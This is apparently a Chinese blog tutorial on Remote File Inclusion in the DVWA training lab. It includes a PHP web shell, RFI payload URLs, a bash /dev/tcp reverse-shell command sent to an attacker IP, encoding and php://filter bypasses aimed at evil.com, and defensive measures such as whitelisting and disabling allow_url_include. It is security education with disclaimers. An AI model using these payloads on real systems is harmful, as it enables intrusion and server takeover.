远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用
远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用
一、前言
远程文件包含(RFI,Remote File Inclusion) 是一种高危的 Web 安全漏洞,允许攻击者通过控制动态包含的文件路径,加载远程服务器上的恶意脚本,从而实现远程代码执行(RCE)或部署后门。本文基于 DVWA(Damn Vulnerable Web Application) 靶场的 RFI 模块,详细剖析 RFI 漏洞的原理、代码结构、利用方式及防护措施,旨在帮助安全从业者和开发者深入理解 RFI 漏洞的成因与防范方法。
学习目标:
- 掌握 RFI 漏洞的触发原理和代码缺陷
- 学会利用 DVWA 复现 RFI 攻击
- 理解 RFI 的常见利用场景及危害
- 掌握防御 RFI 漏洞的最佳实践
免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!
二、RFI 漏洞原理
1. RFI 漏洞定义
RFI 漏洞是指 Web 应用在动态包含文件(如 PHP 的 include 或 require)时,允许用户通过参数指定远程文件 URL,且未对输入进行严格过滤,导致攻击者可加载恶意远程脚本。
典型代码:
1 | |
攻击示例:
1 | |
- 攻击者通过
page参数指定远程恶意脚本,服务器将其加载并执行。
2. 危害
- 远程代码执行(RCE):执行远程脚本中的任意命令。
- 后门部署:植入 WebShell,获取持久控制。
- 信息泄露:读取服务器敏感文件(如
/etc/passwd)。 - 服务器接管:结合反弹 Shell 完全控制服务器。
3. DVWA 代码分析
以下是 DVWA RFI 模块的简化代码(vulnerabilities/fi/source/index.php):
1 | |
代码问题
- 变量
$file:- 未明确定义来源,可能来自
$_GET['page']或其他用户输入。 - 直接用于
include($file),允许攻击者控制包含路径。
- 未明确定义来源,可能来自
- 缺乏校验:
- 未限制
$file是否为本地文件,允许远程 URL(如http://evil.com/shell.txt)。 - 未对路径进行过滤,可能导致目录穿越或 RFI。
- 未限制
- 安全等级:
low.php:无任何过滤,直接包含用户输入。medium.php:可能限制部分路径(如../),但仍可通过远程 URL 绕过。high.php:加强过滤,可能禁用远程包含。impossible.php:使用白名单机制,较为安全。
三、靶场环境搭建
1. 环境信息
- 操作系统:Kali Linux(虚拟机,推荐 4GB 内存,2 核 CPU)
- 靶场:DVWA
- 工具:
- Burp Suite(抓包与请求修改)
- 蚁剑(WebShell 管理,结合 RFI)
- Firefox(测试请求)
- Python(搭建远程恶意脚本服务器)
- 靶站地址:
http://localhost/dvwa
2. DVWA 安装
- 下载 DVWA:
1
2git clone https://github.com/digininja/DVWA.git
cd DVWA - 配置环境:
- 复制到 Web 根目录:
1
sudo cp -r DVWA /var/www/html/dvwa - 配置 Nginx 或 Apache,以及 PHP 和 MySQL。
- 复制到 Web 根目录:
- 修改配置文件:
- 编辑
config/config.inc.php:1
2
3
4$_DVWA['db_server'] = 'localhost';
$_DVWA['db_database'] = 'dvwa';
$_DVWA['db_user'] = 'root';
$_DVWA['db_password'] = 'your_password';
- 编辑
- 启动服务:
1
2sudo service apache2 start
sudo service mysql start - 访问靶场:
- 访问
http://localhost/dvwa,完成安装。 - 默认用户:
admin/password. - 设置安全等级:
Low(便于测试 RFI)。
- 访问
3. 准备远程恶意脚本
- 创建恶意文件:
- 在攻击者控制的服务器(如 Kali)上创建
shell.txt:1
echo "<?php system(\$_GET['cmd']); ?>" > shell.txt
- 在攻击者控制的服务器(如 Kali)上创建
- 托管文件:
- 将
shell.txt放入 Web 目录(如/var/www/html/):1
sudo cp shell.txt /var/www/html/ - 启动 HTTP 服务:
1
sudo python3 -m http.server 80 - 确认文件可访问:
1
http://<你的IP>/shell.txt
- 将
四、RFI 漏洞利用步骤
1. 构造远程恶意脚本
- 文件内容(
shell.txt):1
<?php system($_GET['cmd']); ?> - 托管地址:
1
http://<你的IP>/shell.txt - 说明:脚本接收
cmd参数,执行系统命令。
2. 构造 RFI 请求
- 访问漏洞页面:
- 假设 DVWA 的 File Inclusion 模块为:
1
http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- 假设 DVWA 的 File Inclusion 模块为:
- 注入远程 URL:
- 构造 Payload:
1
http://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt&cmd=whoami
- 构造 Payload:
- 发送请求:
- 使用 Firefox 或 Burp Suite 访问。
- 结果:
- 页面返回命令执行结果,如:
1
www-data
- 页面返回命令执行结果,如:
连接蚁剑
- 配置:
- URL:
http://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt - 密码:
cmd - 类型:PHP
- URL:
- 功能:
- 命令执行(如
id,whoami) - 文件管理
- 反弹 Shell
- 命令执行(如
3. 反弹 Shell(进阶)
- 准备监听:
- 在 Kali 上启动 Netcat:
1
nc -lvnp 4444
- 在 Kali 上启动 Netcat:
- 执行反弹 Shell:
- 访问:
1
http://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt&cmd=bash%20-i%20%3E%26%20/dev/tcp/<你的IP>/4444%200%3E%261
- 访问:
- 结果:
- Netcat 接收到 Shell,获得服务器控制权。
五、常见利用场景
| 攻击目标 | 举例 |
|---|---|
| 网站后门部署 | 加载远程 WebShell,实现持久化控制 |
| 远程命令执行 | 执行 system('whoami') 等命令 |
| 信息泄露 | 包含 /etc/passwd 或配置文件 |
| 服务器接管 | 反弹 Shell 或上传本地恶意文件 |
六、绕过技巧
1. 编码绕过
- URL 编码:
1
http://localhost/dvwa/vulnerabilities/fi/?page=http%3A%2F%2Fevil.com%2Fshell.txt - 双重编码:
1
http://localhost/dvwa/vulnerabilities/fi/?page=http%253A%252F%252Fevil.com%252Fshell.txt
2. 伪装文件后缀
- 使用
.txt或.jpg伪装 PHP 代码:内容为:1
http://evil.com/shell.txt1
<?php system($_GET['cmd']); ?>
3. 协议绕过
- 使用
php://filter结合远程包含:1
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=http://evil.com/shell.txt
七、防御建议
1. 白名单限制
- 示例代码:
1
2
3
4
5
6
7$whitelist = ['low.php', 'medium.php', 'high.php'];
$vulnerabilityFile = $_GET['page'] ?? 'low.php';
if (in_array($vulnerabilityFile, $whitelist)) {
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";
} else {
die("非法文件!");
}
2. 禁用远程包含
- PHP 配置:
1
2allow_url_include = Off
allow_url_fopen = Off - 说明:禁用
include和require的远程文件加载功能。
3. 使用常量路径
- 示例代码:
1
2$file = basename($_GET['page']);
require_once "/var/www/html/includes/" . $file; - 说明:使用
basename移除路径穿越符号(如../)。
4. 输入过滤
- 正则验证:
1
2
3
4
5if (preg_match('/^[a-zA-Z0-9_]+\.php$/', $_GET['page'])) {
include($_GET['page']);
} else {
die("非法路径!");
}
5. 服务器安全
- Nginx 配置:
1
2
3
4
5location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
} - 限制上传目录:
1
2
3
4
5location /Uploads/ {
location ~ \.php$ {
deny all;
}
}
6. WAF 部署
- 拦截异常 URL(如
http://、php://)。 - 检测可疑参数(如 Base64 编码的 Payload)。
7. 日志监控
- 监控 Web 服务器日志,关注异常文件包含请求。
- 定期扫描服务器,检测可疑文件。
八、总结
| 项目 | 信息 |
|---|---|
| 漏洞类型 | 远程文件包含(RFI) |
| 靶场 | DVWA |
| 利用方式 | 加载远程恶意脚本、执行命令 |
| 危害 | RCE、后门部署、服务器完全控制 |
| 修复核心 | 白名单校验、禁用远程包含、路径限制 |
RFI 漏洞因其直接加载远程脚本的能力,危害远超 LFI。DVWA 的 RFI 模块通过动态包含用户输入的文件,展示了漏洞的典型触发方式。攻击者可通过托管恶意脚本并构造 URL 实现 RCE。开发者应采用白名单机制、禁用远程包含、严格路径校验,并部署 WAF 和日志监控,构建多层次防御体系。
免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!
远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用
https://bae-ace.github.io/2025/08/08/远程文件包含(RFI)漏洞详解:基于-DVWA-的原理与利用/